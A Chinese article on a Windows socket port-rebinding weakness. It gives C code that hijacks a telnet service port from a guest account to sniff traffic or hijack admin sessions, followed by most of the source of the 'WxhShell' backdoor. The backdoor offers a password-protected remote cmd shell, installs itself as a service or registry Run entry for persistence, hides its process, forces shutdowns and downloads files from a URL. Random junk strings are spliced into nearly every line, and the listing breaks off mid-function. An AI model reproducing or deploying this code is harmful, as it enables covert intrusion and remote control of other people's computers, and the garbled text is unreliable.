在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!aIIjWz] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|A5]hL :5C9uW# saddr.sin_family = AF_INET;
xr.fZMOh4 u~a<Psp&| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O%
9~1_ $Fr$9 jq& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
tPFV6n
i l_QpPo!a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:c<C;. Wp T.25 这意味着什么?意味着可以进行如下的攻击:
IvH0sS`F cBc6*%ZD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+gK7`:v4O* B#sc!eLmU& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=p^*y-z MhJq~G p
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[+ 1([# rK)%n!Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[ub,&j^ `Mp]iD{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
K;S&91V)= hb^e2@i;Oq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4[rD| GawLQst[+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
QWfwoe&;R: 21w<8:Vg #include
Nb(se*Y# #include
(Tc ~ #include
g/JAr< #include
@(Q4 DWORD WINAPI ClientThread(LPVOID lpParam);
4}#*M2wb int main()
kD"dZQx {
x{RTI#a. WORD wVersionRequested;
n |.- :Zy DWORD ret;
5M*q{kX) WSADATA wsaData;
.DCp)&m
l; BOOL val;
AGOK%[[Ws SOCKADDR_IN saddr;
u4fTC})4{C SOCKADDR_IN scaddr;
P,tN;c int err;
zKgW9j<( SOCKET s;
yTbBYx9Bi SOCKET sc;
`M"b L|[R int caddsize;
1gH5#_? HANDLE mt;
QT^(
oog= DWORD tid;
"ve?7&G7U wVersionRequested = MAKEWORD( 2, 2 );
hoSk err = WSAStartup( wVersionRequested, &wsaData );
?mgr#UN if ( err != 0 ) {
4 #4kfGoT printf("error!WSAStartup failed!\n");
s7df<dBC return -1;
qY#*zx }
z,/dYvT< saddr.sin_family = AF_INET;
x7{,4js K\n %&w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$0cMrf@ Zad+)~@!tq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
G|Q}.v saddr.sin_port = htons(23);
xp><7{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}R}tIC-: {
'!IX;OSjH printf("error!socket failed!\n");
bYG}CO return -1;
y~U+MtSf# }
<2|x]b8 val = TRUE;
/j3oHi$ //SO_REUSEADDR选项就是可以实现端口重绑定的
X(Ef=:
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Uf_w
o {
r+$ 0u~^ printf("error!setsockopt failed!\n");
w&f29#i;b return -1;
y "7TO# }
x40R)Led //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
P\SD_8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
t@)~{W
{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:~6%nFo 1Rl`}7Km if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2LD4f[a; {
_k6N(c2Nd ret=GetLastError();
MZL~IX printf("error!bind failed!\n");
Gg,,qJO return -1;
t(}&<<1Bz }
5z El`h listen(s,2);
}3)$aI_ while(1)
9f
BD.9A {
)xTp7YnZ; caddsize = sizeof(scaddr);
:Z1_;`>CT //接受连接请求
(v(_XlMK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-4GSGR'L&y if(sc!=INVALID_SOCKET)
)OjbmU!7 {
i<=@7W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/vU9eh"% if(mt==NULL)
TR
]lP<m {
~(hmiNa; printf("Thread Creat Failed!\n");
rEddX break;
R`s /^0 }
~Bu~?ZJmd }
/B}]{bcp$ CloseHandle(mt);
QW~o+N~~ }
wBeOMA closesocket(s);
45ct*w WSACleanup();
@?gH3Y_ return 0;
1b_->_9 }
JTz1M~ DWORD WINAPI ClientThread(LPVOID lpParam)
-,XS2[ {
~r>WnI:vg SOCKET ss = (SOCKET)lpParam;
%e1<N8E4 SOCKET sc;
^z)lEO unsigned char buf[4096];
}Pw5*duq SOCKADDR_IN saddr;
*23 long num;
$F/&/Aa DWORD val;
[ >vS+G DWORD ret;
WpmypkJA# //如果是隐藏端口应用的话,可以在此处加一些判断
<v5toyA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tQ|b?3 saddr.sin_family = AF_INET;
BE3~f6 ` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@br%:Nt saddr.sin_port = htons(23);
^//N-?Fx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mZq*o<kTA {
*>\RGL;]8 printf("error!socket failed!\n");
?V7[,I1? return -1;
"KFCA9u- }
FWD9!M K val = 100;
zGz5|u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ShSh/0
{
o+aB[+ ret = GetLastError();
OSSMIPr return -1;
+;*])N%q }
&/7GhZRt if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ly^F?.e- {
FE_n+^|k< ret = GetLastError();
b!`:|!7r' return -1;
BJ&>'rc }
*nH ?o* # if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
! Noabt {
3$y]#L printf("error!socket connect failed!\n");
k@wT,?kD closesocket(sc);
1F$a
My? closesocket(ss);
n
P 69W return -1;
_$, .NK,6 }
g8vN^nQf[ while(1)
uF<F4m; {
\kg2pF[V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@AyC0} //如果是嗅探内容的话,可以再此处进行内容分析和记录
}Y-f+qX* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?j $z[_K num = recv(ss,buf,4096,0);
]jy6C'Mp if(num>0)
]cA){^.Jz send(sc,buf,num,0);
|Yk23\! else if(num==0)
}"3L>%Q5 break;
73]%^kx= num = recv(sc,buf,4096,0);
;Y)?6^" if(num>0)
pR~PB send(ss,buf,num,0);
5))?,YkrrI else if(num==0)
[u-~<80 break;
o}NKqA3 }
!>2s5^JI9 closesocket(ss);
}~A-ELe: closesocket(sc);
57HMWlg return 0 ;
CBO8^M<K }
Fmsg*s7w -@i2]o N"2@yaN ==========================================================
r]8B6iV Omh(UHZBB 下边附上一个代码,,WXhSHELL
(M[Kh ^ r_R|.fl<[ ==========================================================
IG#=}q nYE_WXY3V #include "stdafx.h"
rl6vt*g X|8Yz3:o #include <stdio.h>
~ae68&L6 #include <string.h>
qAG0t{K #include <windows.h>
?+dI/jB4X #include <winsock2.h>
Ar>Om!]=v #include <winsvc.h>
Q&n|tQ*4 #include <urlmon.h>
_c%~\LOk ;rk}\M$+ #pragma comment (lib, "Ws2_32.lib")
N|Rlb5\ #pragma comment (lib, "urlmon.lib")
"-I> W_M]fjL. #define MAX_USER 100 // 最大客户端连接数
kQ4%J,7e4 #define BUF_SOCK 200 // sock buffer
ayC*n' #define KEY_BUFF 255 // 输入 buffer
| _S9U| !BQ!]u #define REBOOT 0 // 重启
QeQbO #define SHUTDOWN 1 // 关机
XRNL;X%}7 j#~4JGZt #define DEF_PORT 5000 // 监听端口
A"P1B] gr-%9=Uq #define REG_LEN 16 // 注册表键长度
8[y7(Xw #define SVC_LEN 80 // NT服务名长度
t8^*s<O Y#N'bvE|% // 从dll定义API
+oiPj3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$23R%8j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\LS%bO,Y| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
I~mw\K{.3M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
pYa<u,>pN ;N,7#l|wi // wxhshell配置信息
B
j*X_m struct WSCFG {
/_56H?w\ int ws_port; // 监听端口
_e-a>y char ws_passstr[REG_LEN]; // 口令
t71 0sWh{ int ws_autoins; // 安装标记, 1=yes 0=no
h
knobk char ws_regname[REG_LEN]; // 注册表键名
ph|3M<q6 char ws_svcname[REG_LEN]; // 服务名
+
6}FUi!"e char ws_svcdisp[SVC_LEN]; // 服务显示名
()SG char ws_svcdesc[SVC_LEN]; // 服务描述信息
@r
.K>+1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p<J/J.E int ws_downexe; // 下载执行标记, 1=yes 0=no
f{b"=hQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p~e6ah?1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{<|0M%v -BjB>Vt };
,*bxNs'/
*qR
tk // default Wxhshell configuration
gReaFnm struct WSCFG wscfg={DEF_PORT,
Cf10 ud "xuhuanlingzhe",
D #A9 1,
zPVA6~|l "Wxhshell",
h.8J6;36 "Wxhshell",
]IoS-)$Z/ "WxhShell Service",
U 26Iz "Wrsky Windows CmdShell Service",
7aU*7!U "Please Input Your Password: ",
[`
i;gx[^ 1,
.rMGI"
"
http://www.wrsky.com/wxhshell.exe",
eH6#'M4+\ "Wxhshell.exe"
vu*08<M~i| };
K3@UoR 0_j! t // 消息定义模块
=6%0pu]0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3XA^{&} char *msg_ws_prompt="\n\r? for help\n\r#>";
(yZ^Y'0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
XBDlQe|> char *msg_ws_ext="\n\rExit.";
"%sW/ph char *msg_ws_end="\n\rQuit.";
`5gcc7b char *msg_ws_boot="\n\rReboot...";
f:=?"MX7 char *msg_ws_poff="\n\rShutdown...";
19lx;^b char *msg_ws_down="\n\rSave to ";
{0[qERj"z XCk \#(VSE char *msg_ws_err="\n\rErr!";
#kxg|G[Ol char *msg_ws_ok="\n\rOK!";
iveWau292 YoahqXR` char ExeFile[MAX_PATH];
8"
\>1{^ int nUser = 0;
]pFYAe ? HANDLE handles[MAX_USER];
2'/ ip@ int OsIsNt;
udw5A*Ls p;C`n)7P7 SERVICE_STATUS serviceStatus;
pfZxG.l SERVICE_STATUS_HANDLE hServiceStatusHandle;
|KkVt]ZQe9 VpD9!;S // 函数声明
J%%nv5y int Install(void);
+nZx{d,wt int Uninstall(void);
\.}* s]6 int DownloadFile(char *sURL, SOCKET wsh);
7gvkd+-* int Boot(int flag);
7$/ O{GBJ void HideProc(void);
P,*R@N int GetOsVer(void);
<<[`;"CF int Wxhshell(SOCKET wsl);
E5Z,4B void TalkWithClient(void *cs);
zg "<N int CmdShell(SOCKET sock);
<b{ApsRJf int StartFromService(void);
,%D \ int StartWxhshell(LPSTR lpCmdLine);
BE:GB?XBH z}kD:A)a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XN??^1{J}] VOID WINAPI NTServiceHandler( DWORD fdwControl );
/}(w{6C o-49o5:1 // 数据结构和表定义
qd(`~a SERVICE_TABLE_ENTRY DispatchTable[] =
z0doLb^! {
8 \%*4L' {wscfg.ws_svcname, NTServiceMain},
v=@Z,- {NULL, NULL}
~-|K5 };
3>c<E1 t13wQt // 自我安装
LzP+l>m int Install(void)
@G^
l`% {
b,~6cDU char svExeFile[MAX_PATH];
/tDwgxJ HKEY key;
epR7p^`7 strcpy(svExeFile,ExeFile);
yB,$4:C 3)p#}_u{ // 如果是win9x系统,修改注册表设为自启动
wxN'Lv=R if(!OsIsNt) {
9qIjs$g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W(Xb]t=19 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E2+O-;VN RegCloseKey(key);
auK*\Wjm? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]uG9WT6l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<"X\~ RegCloseKey(key);
DTH;d-Z return 0;
p0>W}+8fF }
dXg.[|S* }
fH}#.vy }
!.Eua3:V* else {
..)O/g. R m>AU= // 如果是NT以上系统,安装为系统服务
lpvZ[^G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?:H4Xd7 if (schSCManager!=0)
)7f;FWI {
DQui7dr)l SC_HANDLE schService = CreateService
U["'>&B (
}%x2Z{VF schSCManager,
$3psSQQo wscfg.ws_svcname,
@Fvp~]jCb wscfg.ws_svcdisp,
~
HN SERVICE_ALL_ACCESS,
Z8IY!d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Qqm'Yom%T SERVICE_AUTO_START,
/Ps/m! SERVICE_ERROR_NORMAL,
9EHhVi svExeFile,
e98f+,E/ NULL,
O*jTrZ(k NULL,
|Y"nZK, NULL,
v'=$K[_ NULL,
FabgJu NULL
wGy`0c]v? );
&|MdBJ if (schService!=0)
%'+}-w {
%La<] CloseServiceHandle(schService);
gV~_m CloseServiceHandle(schSCManager);
[/E|n[Bx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{+Zj}3o strcat(svExeFile,wscfg.ws_svcname);
Z #uxa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Q8|
C>$n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
g A+p^`;[ RegCloseKey(key);
ERTjY%A return 0;
C}jFR] x) }
T&'p5h=l }
<Fo~|Nh| CloseServiceHandle(schSCManager);
u0;k_6N }
^ruz-N^Y! }
1L;3e@G K]SsEsd return 1;
Nb3uDA5R }
SL[ EOz# zu_bno! // 自我卸载
E%%iVFPX int Uninstall(void)
@b&_xT {
0?,<7}"<X HKEY key;
dkWV/DAm 0<FT=tKm if(!OsIsNt) {
`;Od0uh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
slnvrel RegDeleteValue(key,wscfg.ws_regname);
g|Tkl RegCloseKey(key);
6c6w w" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A1Es>NK[qW RegDeleteValue(key,wscfg.ws_regname);
]xxE_B7 RegCloseKey(key);
Nr"gj$v return 0;
.k -!/ ^ }
kD46Le++B }
.QW@rV:T }
vd9PB N else {
k
1lK`p O03N$Jq
A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P"{yV?CNg if (schSCManager!=0)
K%.t%)A_3 {
^U9b)KA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
C1==a FD if (schService!=0)
Df@b;-E {
*+TO% {4 if(DeleteService(schService)!=0) {
T@xaa\bzg CloseServiceHandle(schService);
\E1CQP- CloseServiceHandle(schSCManager);
l0r^LK$ return 0;
U!jRF }
R8>17w. CloseServiceHandle(schService);
G0u
H6x? }
q*<FfO=eQ CloseServiceHandle(schSCManager);
q*!Vyk }
Y 9] }
hm >JBc:n- 6wx;grt'Z return 1;
08{0i,Fs }
bsy\L|wd e5_a.c // 从指定url下载文件
= ;#?CAa: int DownloadFile(char *sURL, SOCKET wsh)
a}ogNx {
Mfe/(tlI HRESULT hr;
S\K;h/;V char seps[]= "/";
4%1sOnl char *token;
ya3A^&: char *file;
9 o6ig>C char myURL[MAX_PATH];
ra=U, char myFILE[MAX_PATH];
_Q,`Qn@|BD )WavG1 strcpy(myURL,sURL);
A#$oY{" 2Y token=strtok(myURL,seps);
_0ki19rs while(token!=NULL)
/MYl:>e> {
=V~pQbZ file=token;
U8Z(=*Z3 token=strtok(NULL,seps);
TELN4* }
chk1tFV I WKq_Zjkz GetCurrentDirectory(MAX_PATH,myFILE);
W5 ^eCYHoi strcat(myFILE, "\\");
5e=9~].7 strcat(myFILE, file);
^k6 A,Ak send(wsh,myFILE,strlen(myFILE),0);
?D?_D,"C send(wsh,"...",3,0);
0N.B=j| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[y$P'Y if(hr==S_OK)
n4 A_vz return 0;
mU@pRjq= else
R5OP=Q 8 return 1;
U4;r.#qw, %;ST7 }
RlW0U-%u W;%$7&+0 // 系统电源模块
mQ(6ahD U int Boot(int flag)
! Rr k {
&w15GO;4 HANDLE hToken;
G*;?&;* TOKEN_PRIVILEGES tkp;
khFr%u ?S *UL++/f if(OsIsNt) {
i/UDda"E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
O_=2{k~s0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(j<FS>## tkp.PrivilegeCount = 1;
3s%Kw,z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
RHO| g0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
U-^qVlw if(flag==REBOOT) {
Rhw- 49AWx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>}~\*Y\8@ return 0;
]'IZ bx: }
Y7*8 A, else {
HKB?G~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hSAdD! return 0;
r_R(kns }
-9PJ4"H }
_PPZ!r( else {
|ty?Ah,vb if(flag==REBOOT) {
dw*PjIB9x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
yP<ngi^s= return 0;
y
J|/^qs }
y<9' 3\ else {
\p4>onGI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*r)/Vx`S return 0;
sA(d_Yu_ }
7];AB;0" }
?T1vc P^3`znq{ return 1;
cMU"SO }
eW<|I |lDxk[ // win9x进程隐藏模块
+x!Hc void HideProc(void)
ZA1:Y{V {
?2(52?cJ 2`'g
9R HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Tv[h2_+E if ( hKernel != NULL )
<(Rbu2_ {
#}p@+rkg2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2RbK##`vC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
W(jOD,QMB FreeLibrary(hKernel);
b)+;=o% }
[%c5MQ?H En9>onJ return;
|NdWx1 }
0SV<Pl^ fsjCu! // 获取操作系统版本
]?7q%7-e.a int GetOsVer(void)
1j*E/L {
]*Cq'<h$ OSVERSIONINFO winfo;
5O%?J-Hp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:Ahw{z`H# GetVersionEx(&winfo);
OZR{+YrB^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Et! 6i7`] return 1;
"h5.^5E6 else
8w$q4fg0 return 0;
L,O.XR }
+;ylld `m`Y3I // 客户端句柄模块
RsW4 '5 int Wxhshell(SOCKET wsl)
dw>1Ut{"3 {
sj 3[ny;b SOCKET wsh;
/:d6I]. struct sockaddr_in client;
r>ag(^J\ DWORD myID;
OWc~=Cr \ZtKaEXnx while(nUser<MAX_USER)
0VZC7@ {
7NRm\%^q int nSize=sizeof(client);
\4KV9wm wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@\WeI"^F8 if(wsh==INVALID_SOCKET) return 1;
IuY4R0Go v?YxF} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
aL&nD1f=!- if(handles[nUser]==0)
DB+oCE<.# closesocket(wsh);
]*hH.ZBY"^ else
7]_zWx,r nUser++;
N F,<^ u }
vSy[lB|)24 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g`w46X 2;K2|G7 return 0;
N9s+Tm }
+{#L,0t 1H?I?IT30 // 关闭 socket
26;Gt8 void CloseIt(SOCKET wsh)
8#w%qij {
PQ{5*}$N closesocket(wsh);
L&d.&,CNs' nUser--;
e$Mvl=NYp\ ExitThread(0);
~9PZ/(
' }
g4y&6!g
y\})C-& // 客户端请求句柄
tXuf ! void TalkWithClient(void *cs)
yp[,WZt {
,pY:kQ Q/q>mN"#1 SOCKET wsh=(SOCKET)cs;
J0imWluhQ char pwd[SVC_LEN];
:cf#Tpq" char cmd[KEY_BUFF];
Dr76+9'i char chr[1];
W4bN']? int i,j;
xS:n U~d%5?q while (nUser < MAX_USER) {
cvQAo| S>)[n]f if(wscfg.ws_passstr) {
#h P>IU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
G{{M'1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:[CEHRc7x //ZeroMemory(pwd,KEY_BUFF);
|?]doBm| i=0;
&E1m{gB( while(i<SVC_LEN) {
9 r&JsCc 1w,34*- } // 设置超时
)\j
dF-s fd_set FdRead;
kv6nVlI)B struct timeval TimeOut;
0m=57c$O FD_ZERO(&FdRead);
=6+99<G|%M FD_SET(wsh,&FdRead);
zWv0y8[d TimeOut.tv_sec=8;
B^]PKjLNZ TimeOut.tv_usec=0;
UG=]8YY!
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#0hqfs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
(Q @'fb9z RKE"}|i+S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
1q@R04i pwd
=chr[0]; TVx
`&C+
if(chr[0]==0xd || chr[0]==0xa) { Ibu9AwPm
pwd=0; ZHa>8x;Mjl
break; #9Jr?K43
} 77y+ik
i++; .}v" `>x
} IM7<z,* oF
xb<|m2<)H
// 如果是非法用户,关闭 socket AFm9"mQrw
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G}^=(,jl
} 9cUa@;*1
oC*a;o
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ =n7E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 p?AL=
]wdE
:k,D
while(1) { [U8/nT
j6Sg~nRh
ZeroMemory(cmd,KEY_BUFF); gwQMy$
~59lkr8
// 自动支持客户端 telnet标准 N0Y4m_dm*
j=0; c9fz x
while(j<KEY_BUFF) { K%+4M#jj5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mmu#hb|W
cmd[j]=chr[0]; ;nP(S`'
if(chr[0]==0xa || chr[0]==0xd) {
9\<q=p~
cmd[j]=0; .pQ5lK(R
break; WV.hQX9P
} Wm`*IBWA
j++; _<FUS'"
} L;u 5
GRbbU#/=G
// 下载文件 ]6[+tpx
if(strstr(cmd,"http://")) { ?o?$HK
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1' U
if(DownloadFile(cmd,wsh)) xh$yXP0/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e4SS'0|
else Z>bNU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n}IGxum8`
} ufIvvZ*
else { GI/NouaNfm
Ht(TYq
switch(cmd[0]) { ~Jr'4%
zpT^:Ag
// 帮助 g"5Kth
case '?': { P@ew' JL%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U(y8nI]
break; 452kE@=49
} ||QK)$"
// 安装 x4c|/}\)*
case 'i': { q%])dZ!lE
if(Install()) U|tacO5w`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LX7P?j
else /qy6YF8;y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MWA,3I\.
break;
mu{C>w_Rz
} jDb\4QyC
// 卸载 TG$#aX\'
case 'r': { 7`J2/(
if(Uninstall()) EA>.SSs!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#:!&{O
else &lSNI5l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ydYsmTr
break; 0H>gMXWE]
} TU^ZvAO&
// 显示 wxhshell 所在路径 cWx`y><
case 'p': { \z.bORy
char svExeFile[MAX_PATH]; eZ(ThA*2=t
strcpy(svExeFile,"\n\r"); Hq::F?
strcat(svExeFile,ExeFile); A1+:y,wXs
send(wsh,svExeFile,strlen(svExeFile),0); !;,\HvEZYw
break; x;yvv3-$
} ptT-{vG
// 重启 5s3QN{h8
case 'b': { Eej
Lso#\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %_5#2a
if(Boot(REBOOT)) |Qcz5M90e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D
tZ?sG
else { 2sIt~ Gn
closesocket(wsh); /Z:NoTGn
ExitThread(0); {guOAT-w
} r6uN6XCM
break; G7" (,L` 5
} ^@* `vz^_
// 关机 vO2WZ7E!
case 'd': { bI:W4y>I=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rN|=cn
if(Boot(SHUTDOWN)) ?{"r(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ugTsI~aE
else { Vu.=,G
closesocket(wsh); hJ`Gu7
ExitThread(0); W/BPf{U
} 1!.-/
break; njxLeDe-
} a r8iuwfZ
// 获取shell pTq DPU
case 's': { <(>t"<
CmdShell(wsh); .o`Io[io
closesocket(wsh); 7!cLTq
ExitThread(0); SZe55mK `
break; xkRMg2X.>9
} [A =0fg5
// 退出 Cs>` f,o
case 'x': { s$pXn&:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C `_/aR6
CloseIt(wsh); \ZADY.ha
break; _-({MX[3k<
} n?cC]k;P~
// 离开 cX
C [O
case 'q': { A{q%sp:3~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b]z_2h~`
closesocket(wsh); {Cm!5Q Yy
WSACleanup(); d*s*AV
exit(1); Qb?a[[3
break; yC 1OeO8{
} Vxap+<m
} xk~gGT&
} nu+K
N,3R"
%]I#]jR
// 提示信息 ;=0mL,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R
q@|o5O
} Ty&1R?
} k"cMAu.
`ZEFH7P
return; 5&Yt=)c\
} &2u
|7U.
Rw0|q
// shell模块句柄 ?:9y
!Q=
int CmdShell(SOCKET sock) z9IW&f~~P
{ G@ot^n3
STARTUPINFO si; K_L7a>Fr
ZeroMemory(&si,sizeof(si)); >xo<i8<Miv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?1\I/'E9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B(Yg1jAe
PROCESS_INFORMATION ProcessInfo; @>46.V{P}B
char cmdline[]="cmd"; 1W>/4l
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X8Z) W?vu
return 0; XlF ,_
} @Ik5BT
5lHt~hB\
// 自身启动模式 f3!Oc
int StartFromService(void) tZ62T{, a
{ Wtu-g**KN
typedef struct Ag0w8F
{ #g$I>\O<
DWORD ExitStatus; &cyB}Gv
DWORD PebBaseAddress; A nl1+
DWORD AffinityMask; =:g\I6'a
DWORD BasePriority; -x6_HibbD
